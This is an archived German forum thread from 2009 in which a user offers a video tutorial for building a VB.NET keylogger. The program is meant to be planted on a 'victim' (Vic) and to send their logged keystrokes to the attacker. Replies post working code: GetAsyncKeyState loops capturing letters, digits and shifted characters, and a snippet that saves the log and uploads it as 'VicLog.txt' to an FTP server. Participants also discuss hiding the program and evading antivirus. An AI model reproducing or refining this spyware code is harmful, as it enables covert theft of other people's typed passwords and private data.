Archiv verlassen und diese Seite im Standarddesign anzeigen : [b][vb.net]ftp keylogger
Sooo
Da ist es endlich Tutorial 1/3 wie man sich mit visual basic 2008 ein Keylogger bastelt.
Was kann der alles / wie funktionierts ??
Es sind insgesammt 4 Programme. Programm 1-3 werden zu einem "verschmolzen" ^^ Dieses bekommt euer Vic das euch dann auch die Daten sendet , ihr werdet unteranderem (programm 4) dann die Daten in einem Manager zu gesendet bekommen. Mehr infos im Video.
Was brauche ich ?
Ihr solltet aufjeden fall mit vb garbeitet haben und selber nen nützlichen code auf die reihe bekommen , haltet das video bitte an um euch es selber dann ins vb zu schreiben ich lass nich extra lücken das ihr schnell ins vb switchen könnt^^.
- Microsoft´s Visual basic 2008 Express edition
- Einen Ftp Server (www.funpic.de , www.ohost.com)
TUTORIALS
Video1. = Programm 1 ( der die Tasten logt) + code.txt + Mein logo ;P = 12 Mb groß LINK : http://rapidshare.com/files/212140488/Keylogger_1.rar
Video 2. = folgt noch
Video 3. = folgt noch
cool vielen dank
werde es mir mal anschauen
EDIT: Tut ist echt klasse geworden alles gut und sauber beschrieben und erklärt.
Hmm oke Naja ich kann zwar kein vb.net aber anschauen werde ichs mir mal
Jo ;PP
xDD sry die code.txt is irgentwie leer nich dran gedacht aber kann man ja auch abschreiben ^^ Falls was nich klappt einfach rein schreiben gibt dann pm , 2tes Video wird grade gedreht erwartet es spätestens gegen 14 uhr
Also ich finde aber der Interval vom Timer1 ist viel zu niedrig xD...
Da werden bei mir die Buchstaben wenn ich einmal a drücke 10 mla geschrieben lol.
________
Kann mir vlt jemand sagen wie das hier richtig geht^^?
If GetAsyncKeyState(Keys.ShiftKey and Keys.Q) Then
Label1.Text = Label1.Text + "Q"
End If
Also das wenn man Shift und q drückt der Buchstabe groß geschrieben wird :D?
(achso und n1 TUT :D)
blackberry
22.03.2009, 13:46
Gut:
- Sprache
- einiges wurde auch erklährt
- du hast das ganze auch vorgeführt
Weniger gut:
- z.B. "wichtig ist bei timer1, den müsst ihr auf 10 stellen" (frei aus dem Kopf zitiert) - wo du was verstellt hast ist nicht sichtbar (das sollte für einen VB Programmierer zwar klar sein, aber für Leute, wie mich, die sich das nur so zum Spaß ansehen und kein VB installiert haben, ist das nicht direkt ersichtlich)
- Copy&Paste
- die Zahl, mit der du den Rückgabewert von GetAsyncKeyState vergleichst hast du nicht hergeleitet ( siehe http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx bei "Return Value" )
- die riesen "If GetAsync...(Key.A-Z) = ... Then"-Menge ist sehr anfängermäßig! Ein richtiger Programmierer würde die einzelnen Tastennummern und deren zugehäroge Strings in einem Array ablegen und diesen dann von einer Schleife abarbeiten lassen!
(genau genommen würde ein richtiger Programmierer Hooks benutzen, aber das lassen wir mal außer Acht!)
- die Methode das Programm zu verstecken ist etwas simpel aufgebaut und wirkt auch nicht wirklich gut
- jede gute Antivirensoftware wird das Programm als Keylogger erkennen!
- My.Computer.FileSystem.WriteAllText(file As String, text As String, append As Boolean) - append (engl.) = anfügen - bitte richtig erkähren - dein "soll er die jetzt mehrmals hintereinander schreiben" klingt so als ob die Funktion den Parameter text mehrmals schreiben würde (was ja nicht direkt der Fall ist, da der Text sich zwischen den aufrufen ständig ändert!)
LOL dafür das du das nur zum spaß anshaust, haste aber voll den Plan xD
ich finds am geilsten wo du zum schluss sagst : " ja also den Code gebe ich euch mit in eine txt , Ich will jetzt nicht das ihr ihn rauskopiert sondern es versteht... Ich mein ich habe ihn auch selber geschrieben! " HAHA XD da hatte ich ur den appäcker....
1. Keylogger1_code.txt (0KB) hinterlassen XDDD
2. Du hast den code doch auch aus deine txt rauskopiert
aber sonst für anfänger ehh gut...
mfg. Code-C4
@ BlackBerry : Ja wenn du nochn Anfänger bist dann beschäftige dich lieber mit was anderem ^^ Das meinte ich man soll n bissi erfahrung haben um den timer usw selber einzustellen
@Code-C4 : Lass mich doch habe Fieber und versuche hier nen gutes tut auf die Reihe zu bekomm xDD und auserdem meinte ich das ich es eig. das tut in schriftlicher form reinsetzen wollte ja nun doch video und deswegen die vorschrift^^ Ja klar is es fuer anfänger gut nur die idee mit dem Manager ( 4tes Programm ) is dann schmakofatz^^
UPDATE : 2tes Video läd grade rapidshare hoch^^
blackberry
22.03.2009, 14:15
LOL dafür das du das nur zum spaß anshaust, haste aber voll den Plan xD
Von VB? Nein - das ist Jahre her und vertieft habe ich das nie besonders.
Ich bin relativ schnell auf PHP, C und C++ umgestiegen.
@ BlackBerry : Ja wenn du nochn Anfänger bist dann beschäftige dich lieber mit was anderem ^^ Das meinte ich man soll n bissi erfahrung haben um den timer usw selber einzustellen
Wie oben schon erwähnt, habe ich ein (ganz kleines) bisschen VB Erfahrung (damals noch VB2005) und kann mir vorstellen was du meinst.
Die Kritik galt in erster Linie der Kameraführung - Camtasia hat da ja einiges zu bieten!
UPDATE : 2tes Video läd grade rapidshare hoch^^
Stichpunktzettel fertig?
Kritik berücksichtigt?
:)
Dauert es noch lange^^?
Ich mein wenn du vor knapp 3 h angefangen hast zu uppen?
lol XD ich meine er is off
wenn er off ist geht das net so gut
Jetzt ist er online, wann folgt denn Version zwei endlich?
ONLINE!!! Juhu
jetzt nur noch schnell bei raipid den Link kopieren hier einfügen und dann kommen wir zum Einsatz ---> DOWNLOADEN!!!
Leute es is nich so einfach xD
Rapidshare wollte mir grade sagen das er 185 stunden brauchen emmm... 0.o
Ich habe einige Probleme aber zurnot wirds schriftlich nachgereicht also bei
2tes Video wird wohl schrift lich als notepade download^^
Ps : sitz grade drann
mfg Kevin14w.
blackberry
22.03.2009, 21:17
Es gibt auch noch andere FileHoster!
http://board.gulli.com/thread/448140-liste-fr-1-klick-filehoster/
oder einfach: upladoet.to
Kann mir vlt jemand sagen wie das hier richtig geht^^?
If GetAsyncKeyState(Keys.ShiftKey and Keys.Q) Then
Label1.Text = Label1.Text + "Q"
End If
Also das wenn man Shift und q drückt der Buchstabe groß geschrieben wird :D?
Hat noch niemand geholfen :D
DarkFire
23.03.2009, 12:03
If GetAsyncKeyState(Keys.A) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "A"
Else
Label1.Text = Label1.Text + "a"
End If
End If
If GetAsyncKeyState(Keys.A) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "A"
Else
Label1.Text = Label1.Text + "a"
End If
End If
Öhmmmm :D
Geht nicht wirklich? ô.Ó
DarkFire
23.03.2009, 12:11
Ähm.. doch...
geht wirklich vielen dank
wollte mal fragen wann das 2. Tutorial rauskommt
Läuft dein Internet über einen Hamster im Laufrad oder wieso brauchst du Tage um es hochzuladen?
Weil er nen Real Life hat und er noch Krank ist...
Langsam wird es peinlich, du postet nebenbei in andere Threads, uploadest schon seit über 7 Tagen und reagierst auf keine privat Nachrichten. Komm schon, ich hät gerne den zweiten Teil des Tutorials, dass erste war schon klasse :(
Wird das eig noch was? Ich warte schon ca. eine Woche auf das 2. Video Wenn du es nicht hinbekommst dann schreib es doch rein. mfg g4$0N3
Imperial
14.04.2009, 15:23
Hmm bin voll gespannt, hoffentlch wird das noch was
Dann wartet doch auch mal und spammt nicht immer
Er reagiert auf keine Nachricht, auf keine Anfragen in einem anderen Thread und hier schaut er gar nicht mehr rein, der Thread kann eigentlich geschlossen werden.
OMG dann lasst ihn doch!!!
Warum seit ihr jetzt sauer auf ihn den rest des Tuts kann man sich doch wohl denken -.-
wenn ihr das nochnichmals hinbekommt dann lasst es am besten kommplett :/
mfG
inmate
DarkFire
22.04.2009, 16:46
Damit ihr jetzt alle eure 1337 l3€t Keylogger schreiben könnt.
Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\Keylogger.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()
Dim Ort As String = "C:\Keylogger.txt"
Dim Ftp As String = "Mein ftp blabla"
Dim Name As String = "VicLog.txt"
Dim User As String = "LeetR0Xor"
Dim Password As String "1234"
My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
Damit ihr jetzt alle eure 1337 l3€t Keylogger schreiben könnt.
Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\Keylogger.txt")
Datei.WriteLine(Label1.Text)
Datei.Close()
Dim Ort As String = "C:\Keylogger.txt"
Dim Ftp As String = "Mein ftp blabla"
Dim Name As String = "VicLog.txt"
Dim User As String = "LeetR0Xor"
Dim Password As String "1234"
My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
Jo echt Nett von dir auch wenn ichs nicht brauch xD.
1337 l3€t LOL
Wie geht das mit Zahlen ? Das er wenn einer Zahlen ausgibt es auf label1.text erscheint?
DarkFire
04.05.2009, 21:20
Buchstaben:
If GetAsyncKeyState(Keys.A) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "A"
Else
Label1.Text = Label1.Text + "a"
End If
End If
Zahlen:
If GetAsyncKeyState(Keys.D0) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "="
Else
Label1.Text = Label1.Text + "0"
End If
End If
If GetAsyncKeyState(Keys.D1) = -32767 Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Label1.Text = Label1.Text + "!"
Else
Label1.Text = Label1.Text + "1"
End If
End If
If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + "0"
End If
If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + "1"
End If
Th3_Cr4xX
03.06.2009, 15:00
part2 ? ^^
btw wie mach ich ein @ ?
If GetAsyncKeyState(Keys.Control + Keys.Alt + Keys.Q) = -32767 Then
Label1.Text = Label1.Text + "@"
End If
Hab ich versucht, heraus kommt wieder ein "q"
DarkFire
06.06.2009, 19:56
If GetAsyncKeyState(Keys.RMenu) = -32767 And GetAsyncKeyState(Keys.Q) = -32767 Then
Nicht gestestet =/ sollte aber gehen ;)
Powered by vBulletin® Copyright ©2024 Adduco Digital e.K. und vBulletin Solutions, Inc. Alle Rechte vorbehalten.